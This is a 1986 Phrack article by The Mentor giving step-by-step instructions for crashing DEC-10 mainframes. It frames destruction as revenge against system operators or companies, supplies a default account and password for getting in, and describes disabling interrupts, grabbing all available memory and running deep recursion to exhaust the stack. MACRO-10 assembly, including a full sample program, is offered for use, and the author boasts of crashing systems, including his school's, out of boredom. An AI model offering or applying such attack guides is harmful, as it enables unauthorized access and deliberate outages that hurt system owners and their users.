| ==Phrack Inc.== | |
| Volume One, Issue Four, Phile #6 of 11 | |
| Crashing DEC-10's | |
| by The Mentor | |
| 3-13-86 | |
| Occasionally there will be a time when destruction is necessary. | |
| Whether it is revenge against a tyrannical system operator or against | |
| a particular company, sometimes it is desirable to strike at the heart of a | |
| company...their computer. | |
| What follows is a fairly detailed explanation of how to go about | |
| crashing a DEC-10 computer running any operating system. The user will have | |
| to be able to create and execute assembly level and high level language | |
| files, as well as having a good working knowledge of programming. | |
| The first step is to obtain an account. Whether this be a default | |
| account like 5,30 (pw: GAMES) or an account that you hacked by some other | |
| method, you have to be able to access the system. Superuser access is not | |
| necessary, however, for this method to work. | |
| At the heart of every mainframe computer is the central processing | |
| unit. The CPU handles all instructions, fetching them from memory, decoding | |
| them, and executing them. A DEC has what is called a DMA (Direct Memory | |
| Access) Controller that functions as a small CPU handling all the input and | |
| output from memory and peripherals, freeing the main CPU to execute instruc- | |
| tions. We take advantage of this fact in crashing the system. | |
| Theory: The CPU depends on the DMA Controller to handle all memory | |
| access. If the DMA can be crashed, the CPU grinds to a halt and the sysop | |
| has to run DSK:RAT to restore all the files on the system (a one hour process, | |
| deadly at peak operating time.) We cause the DMA to crash by slowing it down | |
| incredibly and overflowing the system stack. | |
| Practice- | |
| There exists an area known as 'Job Data Area' at octal 20 through 140 | |
| of the user's memory. This stores all relevant information about the current | |
| task executing. The individual locations each have a 6-bit mnemonic starting | |
| with .JB in each case. These must be introduced into a symbol table as ext- | |
| ernal references. | |
| The highest core address available to the user is stored at .JBREL | |
| in the Job Data Area. If you try to access more core than you are allowed, | |
| you will get an interrupt and it will crash. The first step is to disable | |
| the interrupt. This is done by setting bit 22 in the AC to 1. This is done | |
| with a mask as follows... | |
| APRENB AC | |
| MOVEI AC,20000 (octal) | |
| The interrupt is now shut out. Next, you must start snatching up all | |
| available system core. This cannot be done by directly meddling with .JBREL. | |
| Instead, you must alter AC (accumulator) to contain the highest desired | |
| address and then move it into .JBREL. This can be done with the following | |
| subroutine. | |
| CORE AC, | |
| TOP: MOVE AC,.JBREL## | |
| AOJA AC,.+1 | |
| CORE AC, | |
| BRA TOP | |
| At first, incrementing only by one looks like a slow way to grab core, | |
| but since it is only allocated in chunks of either 1K or 2K words, you can | |
| quickly suck up a lot of memory. (Following this file is a complete sample | |
| program in MACRO-10 showing how to increase the core to a certain limit.) | |
| Now that we have all the core we can get, the system is already more | |
| than likely slowing down. This is good. Now we put in the fatal blow. | |
| You should already have prepared a program that relies heavily on recursion. | |
| The choice languages for this are either C or Pascal. Simply set up a simple | |
| recursive program (Towers of Hanoi with 100 rings, for instance), and tell it | |
| to execute. | |
| What will begin to happen is that the DMA stack will start filling up, | |
| slowing the system down even further. Eventually, after between 5 minutes and | |
| 15 minutes (longest it's ever taken me), you get the nice beep and... | |
| ;;OPSER- DEC SYSTEM-10 NOT RUNNING | |
| I've only had to do this on three systems that the sysop really | |
| pissed me off (not counting the system where I go to school, on which I do | |
| it all the time when I'm bored...) It's kind of an extreme measure, but | |
| it can be an effective one. | |
| The following program is a sample for those not familiar with MACRO-10 | |
| assembly language. | |
| 32 | |
| START: TITLE SAMPLE | |
| MOVE P,[IOWD 3,MEM] | |
| MOVE [PUSHJ P,PDLOV] | |
| MOVEM .JBAPR## | |
| MOVEI AC,600000 | |
| APRENB AC, | |
| SETZB CT | |
| MOVEM AC | |
| AOS | |
| PUSHJ P,S1 | |
| JRST .-3 | |
| S1: IDIVI AC,10 | |
| HRLM N,(P) | |
| JUMPE AC,.+3 | |
| PUSHJ P,S1 | |
| SKIPA | |
| PUSHJ P,S2 | |
| HLRZ N,(P) | |
| ADDI N,60 | |
| OUTCHR N | |
| POPJ P, | |
| S2: SOJG CT,.+4 | |
| OUTCHR [15] | |
| OUTCHR [12] | |
| MOVEI CT,10 | |
| MOVE T,P | |
| OUTCHR [40] | |
| AOBJN T,.-1 | |
| POPJ P, | |
| PDLOV: PUSHJ P,LIMIT | |
| SUB P,[1,,0] | |
| JRSTF @.JBTPC## | |
| LIMIT: CAIL 1000 ;CHANGE TO WHATEVER YOU WANT! | |
| EXIT | |
| POPJ P, | |
| MEM: BLOCK 10 | |
| END START | |